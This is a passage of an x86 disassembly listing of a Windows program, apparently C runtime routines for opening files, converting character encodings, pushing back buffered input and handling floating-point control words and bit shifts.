loc_423D83:				; CODE XREF: sub_423C7E+CEj
		cmp	ecx, 500h
		jz	short loc_423DA5
		cmp	ecx, 600h
		jz	short loc_423D9C
		cmp	ecx, edx
		jz	short loc_423DA5
		jmp	loc_423CDA
; ---------------------------------------------------------------------------


loc_423D9C:				; CODE XREF: sub_423C7E+E0j
					; sub_423C7E+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423DAC
; ---------------------------------------------------------------------------


loc_423DA5:				; CODE XREF: sub_423C7E+10Bj
					; sub_423C7E+117j
		mov	[ebp+var_8], 1


loc_423DAC:				; CODE XREF: sub_423C7E+F5j
					; sub_423C7E+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423DCB
		mov	ecx, ds:dword_4DDEBC
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423DCB
		push	1
		pop	esi


loc_423DCB:				; CODE XREF: sub_423C7E+138j
					; sub_423C7E+148j
		test	al, 40h
		jz	short loc_423DD9
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423DD9:				; CODE XREF: sub_423C7E+14Fj
		test	ah, 10h
		jz	short loc_423DE0
		or	esi, edi


loc_423DE0:				; CODE XREF: sub_423C7E+15Ej
		test	al, 20h
		jz	short loc_423DEC
		or	esi, 8000000h
		jmp	short loc_423DF6
; ---------------------------------------------------------------------------


loc_423DEC:				; CODE XREF: sub_423C7E+164j
		test	al, 10h
		jz	short loc_423DF6
		or	esi, 10000000h


loc_423DF6:				; CODE XREF: sub_423C7E+16Cj
					; sub_423C7E+170j
		call	sub_423A20
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423E17
		and	ds:dword_4DDEB8, 0
		mov	ds:dword_4DDEB4, 18h
		jmp	short loc_423E55
; ---------------------------------------------------------------------------


loc_423E17:				; CODE XREF: sub_423C7E+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	ds:dword_4280EC	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423E48
		push	esi
		call	near ptr 0B10000h
		db	67h
		test	eax, eax
		jnz	short loc_423E5C
		push	esi
		call	ds:dword_42806C	; CloseHandle


loc_423E48:				; CODE XREF: sub_423C7E+1B6j
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		call	sub_4205FF
		pop	ecx


loc_423E55:				; CODE XREF: sub_423C7E+197j
		mov	eax, edi
		jmp	loc_423F32
; ---------------------------------------------------------------------------


loc_423E5C:				; CODE XREF: sub_423C7E+1C1j
		cmp	eax, 2
		jnz	short loc_423E67
		or	[ebp+var_1], 40h
		jmp	short loc_423E70
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423C7E+1E1j
		cmp	eax, 3
		jnz	short loc_423E70
		or	[ebp+var_1], 8


loc_423E70:				; CODE XREF: sub_423C7E+1E7j
					; sub_423C7E+1ECj
		push	esi
		push	ebx
		call	sub_423AB5
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DE1E0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423F19
		test	al, 80h
		jz	short loc_423F19
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423F19
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422A04
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423ECE
		cmp	ds:dword_4DDEB8, 83h
		jz	short loc_423F19
		jmp	short loc_423F0D
; ---------------------------------------------------------------------------


loc_423ECE:				; CODE XREF: sub_423C7E+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F33C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423EFB
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423EFB
		push	[ebp+var_10]
		push	ebx
		call	loc_42515A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423F0D


loc_423EFB:				; CODE XREF: sub_423C7E+265j
					; sub_423C7E+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422A04
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423F19


loc_423F0D:				; CODE XREF: sub_423C7E+24Ej
					; sub_423C7E+27Bj
		push	ebx
		call	sub_41DC92
		pop	ecx


loc_423F14:				; CODE XREF: sub_423C7E+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423F32
; ---------------------------------------------------------------------------


loc_423F19:				; CODE XREF: sub_423C7E+221j
					; sub_423C7E+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423F30
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423F30
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423F30:				; CODE XREF: sub_423C7E+29Fj
					; sub_423C7E+2A5j
		mov	eax, ebx


loc_423F32:				; CODE XREF: sub_423C7E+1D9j
					; sub_423C7E+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423C7E	endp

; ---------------------------------------------------------------------------


loc_423F37:				; CODE XREF: sub_41F735+5Ep
					; seg000:004203A2p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428C50
		push	offset sub_4237BC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, ds:dword_4DE0A8
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423FA6
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_428940
		push	esi
		call	ds:dword_428020	; GetStringTypeW
		test	eax, eax
		jz	short loc_423F84
		mov	eax, esi
		jmp	short loc_423FA1
; ---------------------------------------------------------------------------


loc_423F84:				; CODE XREF: seg000:00423F7Ej
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		push	offset dword_4CDAB0
		push	esi
		push	ebx
		call	near ptr 0B10000h
		inc	dword ptr [ebp-317BF040h]
; ---------------------------------------------------------------------------
		db 0
		dd 26A0000h
; ---------------------------------------------------------------------------
		pop	eax


loc_423FA1:				; CODE XREF: seg000:00423F82j
		mov	ds:dword_4DE0A8, eax


loc_423FA6:				; CODE XREF: seg000:00423F66j
		cmp	eax, 2
		jnz	short loc_423FCF
		mov	eax, [ebp+1Ch]
		cmp	eax, ebx
		jnz	short loc_423FB7
		mov	eax, ds:dword_4DDF74


loc_423FB7:				; CODE XREF: seg000:00423FB0j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	near ptr 0B10000h
		stosb
		jmp	loc_42406E
; ---------------------------------------------------------------------------


loc_423FCF:				; CODE XREF: seg000:00423FA9j
		cmp	eax, 1
		jnz	loc_42406C
		cmp	[ebp+18h], ebx
		jnz	short loc_423FE5
		mov	eax, ds:dword_4DDF84
		mov	[ebp+18h], eax


loc_423FE5:				; CODE XREF: seg000:00423FDBj
		push	ebx
		push	ebx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+18h]
		call	ds:dword_428184	; MultiByteToWideChar
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_42406C
		mov	[ebp-4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BD10
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[ebp-24h], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B780
		add	esp, 0Ch
		jmp	short loc_42403B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		xor	esi, esi


loc_42403B:				; CODE XREF: seg000:0042402Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_42406C
		push	dword ptr [ebp-20h]
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	1
		push	dword ptr [ebp+18h]
		call	ds:dword_428184	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_42406C
		push	dword ptr [ebp+14h]
		push	eax
		push	esi
		push	dword ptr [ebp+8]
		call	ds:dword_428020	; GetStringTypeW
		jmp	short loc_42406E
; ---------------------------------------------------------------------------


loc_42406C:				; CODE XREF: seg000:00423FD2j
					; seg000:00424007j ...
		xor	eax, eax


loc_42406E:				; CODE XREF: seg000:00423FCAj
					; seg000:0042406Aj
		lea	esp, [ebp-34h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424080	proc near		; CODE XREF: sub_41F7AA+61p
					; sub_420666+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_4DE2E0
		jb	short loc_42408F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42408F:				; CODE XREF: sub_424080+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_4DE1E0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_424080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4240A6	proc near		; CODE XREF: sub_41F8BF+2D4p
					; sub_41F8BF+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_4240B2
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4240B2:				; CODE XREF: sub_4240A6+8j
		cmp	ds:dword_4DDF74, 0
		jnz	short loc_4240CD
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4240FF
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4240CD:				; CODE XREF: sub_4240A6+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	ds:dword_43F194
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	ds:dword_4DDF84
		call	ds:dword_428180	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4240FF
		cmp	[ebp+arg_0], 0
		jz	short loc_42410C


loc_4240FF:				; CODE XREF: sub_4240A6+1Ej
					; sub_4240A6+51j
		mov	ds:dword_4DDEB4, 2Ah
		or	eax, 0FFFFFFFFh


loc_42410C:				; CODE XREF: sub_4240A6+57j
		pop	ebp
		retn
sub_4240A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42410E	proc near		; CODE XREF: sub_420730+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_424131
		cmp	[ebp+arg_8], ebx
		jz	short loc_424131
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_424137
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_424131
		mov	[eax], bx


loc_424131:				; CODE XREF: sub_42410E+Cj
					; sub_42410E+11j ...
		xor	eax, eax


loc_424133:				; CODE XREF: sub_42410E+42j
					; sub_42410E+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424137:				; CODE XREF: sub_42410E+17j
		cmp	ds:dword_4DDF74, ebx
		jnz	short loc_424152
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42414D
		movzx	ax, al
		mov	[ecx], ax


loc_42414D:				; CODE XREF: sub_42410E+36j
					; sub_42410E+C0j
		push	1
		pop	eax
		jmp	short loc_424133
; ---------------------------------------------------------------------------


loc_424152:				; CODE XREF: sub_42410E+2Fj
		mov	ecx, ds:off_43EF88
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_4241AF
		mov	eax, ds:dword_43F194
		cmp	eax, 1
		jle	short loc_424196
		cmp	[ebp+arg_8], eax
		jl	short loc_4241A0
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	ds:dword_4DDF84
		call	ds:dword_428184	; MultiByteToWideChar
		test	eax, eax
		mov	eax, ds:dword_43F194
		jnz	short loc_424133


loc_424196:				; CODE XREF: sub_42410E+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_4241A0
		cmp	[esi+1], bl
		jnz	short loc_424133


loc_4241A0:				; CODE XREF: sub_42410E+61j
					; sub_42410E+8Bj ...
		mov	ds:dword_4DDEB4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_424133
; ---------------------------------------------------------------------------


loc_4241AF:				; CODE XREF: sub_42410E+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	ds:dword_4DDF84
		call	ds:dword_428184	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_42414D
		jmp	short loc_4241A0
sub_42410E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4241E0	proc near		; CODE XREF: sub_420730+797p
					; sub_420730+7E7p
		cmp	cl, 40h
		jnb	short loc_4241FA
		cmp	cl, 20h
		jnb	short loc_4241F0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4241F0:				; CODE XREF: sub_4241E0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4241FA:				; CODE XREF: sub_4241E0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4241E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241FF	proc near		; CODE XREF: sub_4211A6+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42424B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_42421D
		test	al, 80h
		jz	short loc_42424B
		test	al, 2
		jnz	short loc_42424B


loc_42421D:				; CODE XREF: sub_4241FF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_42422A
		push	esi
		call	sub_423C3A
		pop	ecx


loc_42422A:				; CODE XREF: sub_4241FF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_42423A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42424B
		inc	eax
		mov	[esi], eax


loc_42423A:				; CODE XREF: sub_4241FF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424251
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424257
		inc	eax
		mov	[esi], eax


loc_42424B:				; CODE XREF: sub_4241FF+9j
					; sub_4241FF+18j ...
		or	eax, 0FFFFFFFFh


loc_42424E:				; CODE XREF: sub_4241FF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424251:				; CODE XREF: sub_4241FF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424257:				; CODE XREF: sub_4241FF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42424E
sub_4241FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42426D	proc near		; CODE XREF: sub_421796+52p
		xor	eax, eax
		retn
sub_42426D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424270	proc near		; CODE XREF: sub_4242A5+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_4242BB
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42434D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424270	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242A5	proc near		; CODE XREF: sub_421A82+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424270
		pop	ecx
		pop	ecx
		retn
sub_4242A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242BB	proc near		; CODE XREF: sub_424270+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4242CC
		push	10h
		pop	eax


loc_4242CC:				; CODE XREF: sub_4242BB+Cj
		test	bl, 4
		jz	short loc_4242D3
		or	al, 8


loc_4242D3:				; CODE XREF: sub_4242BB+14j
		test	bl, 8
		jz	short loc_4242DA
		or	al, 4


loc_4242DA:				; CODE XREF: sub_4242BB+1Bj
		test	bl, 10h
		jz	short loc_4242E1
		or	al, 2


loc_4242E1:				; CODE XREF: sub_4242BB+22j
		test	bl, 20h
		jz	short loc_4242E8
		or	al, 1


loc_4242E8:				; CODE XREF: sub_4242BB+29j
		test	bl, 2
		jz	short loc_4242F2
		or	eax, 80000h


loc_4242F2:				; CODE XREF: sub_4242BB+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_42432A
		cmp	edx, 400h
		jz	short loc_424327
		cmp	edx, 800h
		jz	short loc_424323
		cmp	edx, esi
		jnz	short loc_42432A
		or	eax, edi
		jmp	short loc_42432A
; ---------------------------------------------------------------------------


loc_424323:				; CODE XREF: sub_4242BB+5Ej
		or	eax, ebp
		jmp	short loc_42432A
; ---------------------------------------------------------------------------


loc_424327:				; CODE XREF: sub_4242BB+56j
		or	ah, 1


loc_42432A:				; CODE XREF: sub_4242BB+4Ej
					; sub_4242BB+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_42433A
		cmp	ecx, ebp
		jnz	short loc_42433F
		or	eax, 10000h
		jmp	short loc_42433F
; ---------------------------------------------------------------------------


loc_42433A:				; CODE XREF: sub_4242BB+72j
		or	eax, 20000h


loc_42433F:				; CODE XREF: sub_4242BB+76j
					; sub_4242BB+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42434C
		or	eax, 40000h

locret_42434C:				; CODE XREF: sub_4242BB+8Aj
		retn
sub_4242BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_42434D	proc near		; CODE XREF: sub_424270+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42435D
		push	1
		pop	eax


loc_42435D:				; CODE XREF: sub_42434D+Bj
		test	bl, 8
		jz	short loc_424364
		or	al, 4


loc_424364:				; CODE XREF: sub_42434D+13j
		test	bl, 4
		jz	short loc_42436B
		or	al, 8


loc_42436B:				; CODE XREF: sub_42434D+1Aj
		test	bl, 2
		jz	short loc_424372
		or	al, 10h


loc_424372:				; CODE XREF: sub_42434D+21j
		test	bl, 1
		jz	short loc_424379
		or	al, 20h


loc_424379:				; CODE XREF: sub_42434D+28j
		test	ebx, 80000h
		jz	short loc_424383
		or	al, 2


loc_424383:				; CODE XREF: sub_42434D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_4243B0
		cmp	ecx, 100h
		jz	short loc_4243AD
		cmp	ecx, esi
		jz	short loc_4243A8
		cmp	ecx, edx
		jnz	short loc_4243B0
		or	ah, 0Ch
		jmp	short loc_4243B0
; ---------------------------------------------------------------------------


loc_4243A8:				; CODE XREF: sub_42434D+50j
		or	ah, 8
		jmp	short loc_4243B0
; ---------------------------------------------------------------------------


loc_4243AD:				; CODE XREF: sub_42434D+4Cj
		or	ah, 4


loc_4243B0:				; CODE XREF: sub_42434D+44j
					; sub_42434D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4243C6
		cmp	ecx, 10000h
		jnz	short loc_4243C8
		or	eax, esi
		jmp	short loc_4243C8
; ---------------------------------------------------------------------------


loc_4243C6:				; CODE XREF: sub_42434D+6Bj
		or	eax, edx


loc_4243C8:				; CODE XREF: sub_42434D+73j
					; sub_42434D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4243D5
		or	ah, 10h

locret_4243D5:				; CODE XREF: sub_42434D+83j
		retn
sub_42434D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4243D6	proc near		; CODE XREF: sub_424475+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42441B
		inc	esi
		cmp	esi, 3
		jge	short loc_424416
		lea	eax, [eax+esi*4]


loc_424408:				; CODE XREF: sub_4243D6+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42441B
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_424408


loc_424416:				; CODE XREF: sub_4243D6+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42441B:				; CODE XREF: sub_4243D6+27j
					; sub_4243D6+35j
		xor	eax, eax
		pop	esi
		retn
sub_4243D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42441F	proc near		; CODE XREF: sub_424475+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_4252A0
		add	esp, 0Ch
		dec	esi
		js	short loc_424471
		lea	edi, [ebx+esi*4]


loc_424458:				; CODE XREF: sub_42441F+50j
		test	eax, eax
		jz	short loc_424471
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_4252A0
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424458


loc_424471:				; CODE XREF: sub_42441F+34j
					; sub_42441F+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42441F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424475	proc near		; CODE XREF: sub_4245D0+81p
					; sub_4245D0+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4244D9
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4243D6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4244D6
		push	edi
		push	[ebp+arg_0]
		call	sub_42441F
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_4244D6:				; CODE XREF: sub_424475+51j
		mov	eax, [ebp+arg_4]


loc_4244D9:				; CODE XREF: sub_424475+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4244F9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4244F9:				; CODE XREF: sub_424475+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424475	endp


; =============== S U B	R O U T	I N E =======================================



sub_424501	proc near		; CODE XREF: sub_4245D0+75p
					; sub_4245D0+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_42450F:				; CODE XREF: sub_424501+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_42450F
		pop	esi
		retn
sub_424501	endp


; =============== S U B	R O U T	I N E =======================================



sub_42451C	proc near		; CODE XREF: sub_4245D0+5Fp
					; sub_4245D0+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42451C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424528	proc near		; CODE XREF: sub_4245D0+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_42452E:				; CODE XREF: sub_424528+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424540
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_42452E
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424540:				; CODE XREF: sub_424528+9j
		xor	eax, eax
		retn
sub_424528	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424543	proc near		; CODE XREF: sub_4245D0+C0p
					; sub_4245D0+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424579:				; CODE XREF: sub_424543+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424579
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_4245AB:				; CODE XREF: sub_424543+86j
		cmp	ebx, edi
		jl	short loc_4245BE
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4245C5
; ---------------------------------------------------------------------------


loc_4245BE:				; CODE XREF: sub_424543+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_4245C5:				; CODE XREF: sub_424543+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4245AB
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424543	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245D0	proc near		; CODE XREF: sub_42473C+Dp
					; sub_424752+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
